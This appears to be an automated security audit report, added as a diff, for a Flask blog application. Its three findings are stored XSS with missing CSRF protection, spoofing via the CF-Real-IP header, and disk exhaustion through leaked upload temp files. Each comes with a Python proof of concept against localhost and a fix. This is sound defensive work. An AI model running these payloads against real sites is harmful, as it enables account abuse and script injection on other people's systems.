Security Analysis Report: blog-eletrix-fr

ai/security_report_2026-03-10_blog-eletrix-fr.md

@@ -0,0 +1,106 @@
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-10
+CRITICAL - Stored Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)
+The application is vulnerable to Stored XSS in the blog post creation and viewing features. The `markdown2.markdown` call does not sanitize input, and the resulting HTML is rendered using the `|safe` filter in `post.html`. This allows an attacker to inject and execute arbitrary JavaScript in the browsers of users who view the malicious post. Additionally, the `/create_post` and `/login` routes lack CSRF protection, allowing an attacker to perform actions on behalf of a logged-in user, such as creating a malicious post via a cross-site request.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+# Configuration
+BASE_URL = "http://localhost:5000"
+LOGIN_URL = f"{BASE_URL}/login"
+CREATE_POST_URL = f"{BASE_URL}/create_post"
+
+# 1. Login to get session cookie (Simulating CSRF by having an active session)
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+opener.open(LOGIN_URL, login_data)
+
+# 2. Perform CSRF to create a post with XSS payload
+xss_payload = "<script>alert('XSS')</script>"
+post_data = urllib.parse.urlencode({
+    'title': 'XSS_Test',
+    'author': 'Attacker',
+    'tags': 'security',
+    'content': f"This post contains XSS: {xss_payload}"
+}).encode('utf-8')
+
+opener.open(CREATE_POST_URL, post_data)
+# Vulnerability can be triggered by viewing http://localhost:5000/post/XSS_Test
+```
+
+Fix
+1. Implement CSRF protection using `Flask-WTF` to ensure all state-changing requests originate from the application.
+2. Sanitize HTML content before rendering. Enable `safe_mode` in `markdown2` or use a library like `bleach` to strip dangerous tags and attributes before passing content to the template.
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-10
+MEDIUM - IP Spoofing via 'CF-Real-IP' Header
+The application trusts the `CF-Real-IP` header provided in requests to determine the user's IP address in the `inject_variables` context processor. This header can be easily spoofed by an attacker, potentially bypassing IP-based security measures or corrupting logs and application state.
+
+PoC
+```python
+import urllib.request
+URL = "http://localhost:5000/"
+spoofed_ip = "1.2.3.4"
+req = urllib.request.Request(URL, headers={'CF-Real-IP': spoofed_ip})
+with urllib.request.urlopen(req) as response:
+    # The application context will now believe the user IP is 1.2.3.4
+    print(f"Request sent with spoofed IP: {spoofed_ip}")
+```
+
+Fix
+Only trust the `CF-Real-IP` header if the application is confirmed to be running behind a trusted Cloudflare proxy. Use `request.remote_addr` by default, or implement a trusted-proxy configuration that only accepts these headers from known, trusted IP addresses.
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-10
+LOW - File Upload Temporary File Leakage (Potential Denial of Service)
+The `/upload` route saves uploaded files to the `temp_uploads/` directory before processing them with Pillow. If an uploaded file is not a valid image, Pillow will raise an exception, causing the route to return a 500 error without deleting the temporary file. This allows an attacker to repeatedly upload non-image files to exhaust disk space on the server.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+BASE_URL = "http://localhost:5000"
+UPLOAD_URL = f"{BASE_URL}/upload/"
+
+# Login and upload a non-image file
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+opener.open(f"{BASE_URL}/login", urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8'))
+
+boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
+body = (f'--{boundary}\r\n'
+        'Content-Disposition: form-data; name="file"; filename="dos.txt"\r\n'
+        'Content-Type: text/plain\r\n\r\n'
+        'Malicious non-image content\r\n'
+        f'--{boundary}--\r\n').encode('utf-8')
+
+req = urllib.request.Request(UPLOAD_URL, data=body)
+req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}')
+try:
+    opener.open(req)
+except:
+    pass # Expected 500 error
+# Check temp_uploads/ on the server to see 'dos.txt' persisting.
+```
+
+Fix
+Wrap the file processing logic in a `try...finally` block in `routes/upload.py` to ensure that the temporary file is deleted regardless of whether processing succeeds or fails.
+
+====
+
+Summary:
+- CRITICAL: Stored XSS and CSRF in blog post creation and authentication.
+- MEDIUM: IP Spoofing through trusted header manipulation.
+- LOW: Denial of Service potential via temporary file leakage in the upload system.